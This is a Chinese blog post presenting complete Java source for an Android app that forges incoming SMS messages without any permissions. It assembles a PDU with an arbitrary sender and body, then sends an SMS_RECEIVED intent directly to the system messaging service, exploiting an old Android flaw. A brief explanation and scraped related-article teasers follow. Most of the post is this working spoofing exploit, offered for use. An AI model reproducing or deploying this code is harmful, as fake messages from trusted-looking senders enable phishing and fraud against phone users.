android 无权限伪造短信

代码实现

package com.smstrick;

import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Method;import java.util.Calendar;import java.util.GregorianCalendar;

import android.app.Activity;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.PhoneNumberUtils;import android.util.Log;import android.view.View;import android.view.View.OnClickListener;import android.widget.EditText;

public class SMSTrickActivity extends Activity implements OnClickListener{    /** Called when the activity is first created. */    @Override    public void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.main);

        View continue_button = this.findViewById(R.id.button1);

        continue_button.setOnClickListener((OnClickListener) this);    }    public void onClick(View v) {        EditText eNum;        EditText eMsg;        String sNum;      String sMsg;

        eNum   = (EditText)findViewById(R.id.editText1);     eMsg   = (EditText)findViewById(R.id.editText2);

       sNum = eNum.getText().toString();        sMsg = eMsg.getText().toString();

      //sNum cannot be blank        if(sNum.equals("")) sNum = "123456";

       createFakeSms(this.getApplicationContext(),sNum,sMsg);

    }

    private static void createFakeSms(Context context, String sender, String body) {    //Source: http://stackoverflow.com/a/12338541    //Source: http://blog.dev001.net/post/14085892020/android-generate-incoming-sms-from-within-your-app        byte[] pdu = null;        byte[] scBytes = PhoneNumberUtils                .networkPortionToCalledPartyBCD("0000000000");        byte[] senderBytes = PhoneNumberUtils                .networkPortionToCalledPartyBCD(sender);        int lsmcs = scBytes.length;        byte[] dateBytes = new byte[7];        Calendar calendar = new GregorianCalendar();        dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));        dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));        dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));        dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));        dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));        dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));        dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar                .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));        try {           Log.d("ice", "test one");            ByteArrayOutputStream bo = new ByteArrayOutputStream();            bo.write(lsmcs);            bo.write(scBytes);            bo.write(0x04);            bo.write((byte) sender.length());            bo.write(senderBytes);            bo.write(0x00);            bo.write(0x00); // encoding: 0 for default 7bit            bo.write(dateBytes);            try {

                String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";                Class cReflectedNFCExtras = Class.forName(sReflectedClassName);                Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(                        "stringToGsm7BitPacked", new Class[] { String.class });                stringToGsm7BitPacked.setAccessible(true);                byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,                        body);                bo.write(bodybytes);            } catch (Exception e) {                e.printStackTrace();            }

            pdu = bo.toByteArray();        } catch (IOException e) {            e.printStackTrace();        }

        Intent intent = new Intent();        intent.setClassName("com.android.mms",                "com.android.mms.transaction.SmsReceiverService");        intent.setAction("android.provider.Telephony.SMS_RECEIVED");        intent.putExtra("pdus", new Object[] { pdu });        //intent.putExtra("format", "3gpp");        context.startService(intent);    }

    private static byte reverseByte(byte b) {        return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);    }}

实质分析核心在于自定义了系统的

        Intent intent = new Intent();        intent.setClassName("com.android.mms",                "com.android.mms.transaction.SmsReceiverService");        intent.setAction("android.provider.Telephony.SMS_RECEIVED");        intent.putExtra("pdus", new Object[] { pdu });        //intent.putExtra("format", "3gpp");        context.startService(intent);

收到短信的intent，从而伪造了短信，而且不需要任何的权限。

android 无权限伪造短信相关推荐

android安全问题（八）伪造短信（利用原生android4.0漏洞）
导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...
android安全漏洞（八）伪造短信（利用原生android4.0漏洞）
导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...
android 拨打电话发送短信权限,Android开发实现拨打电话与发送信息的方法分析...
本文实例讲述了Android开发实现拨打电话与发送信息的方法.分享给大家供大家参考,具体如下: xml布局: android:layout_width="fill_parent" ...
Android 伪造短信
//伪造短信到系统信箱private static void createFakeSms(Context context, String sender,String body) {byte[] pdu ...
安卓day25快速入门目录结构清单 DDMS adb 危险权限发短信点击事件安卓版本...
一.排坑 AndroidStudio非法字符: '\ufeff' 将文件格式改为以UTF-8无BOM格式编码 Sublime Text 保存时 CodeFormatter file is scratc ...
android 脚本发短信,Android使用SmsManager实现短信发送功能
安卓使用SmsManager实现发送短信,供大家参考,具体内容如下关键代码实现 package com.example.sms; import java.util.ArrayList; import ...
Android 接收和收发短信
收发短信应该是每个手机最基本的功能之一了,即使是许多年前的老手机也都会具备这项功能,而Android作为出色的智能手机操作系统,自然也少不了在这方面的支持.每个Android手机都会内置一个短信应用程 ...
Android接收和发送短信
每一部手机都具有短信接收和发送功能,下面我们通过代码来实现接收和发送短信功能. 一.接收短信 1.创建内部广播接收器类,接收系统发出的短信广播 2.从获得的内容中解析出短信发送者和短信内容 3.在Ac ...
Android实时监听短信并上传服务器
短信监听 Android监听手机短信的方法有两种,分别为: 1.接受系统的短信广播:当手机收到新消息时,会发送一条广播,通过该广播就可以获取短信内容: 2.监听短信数据库:利用观察者模式监听短信数据库 ...

android 无权限伪造短信

android 无权限伪造短信相关推荐

最新文章

热门文章

android 无权限 伪造短信

android 无权限 伪造短信相关推荐

最新文章

热门文章

android 无权限伪造短信

android 无权限伪造短信相关推荐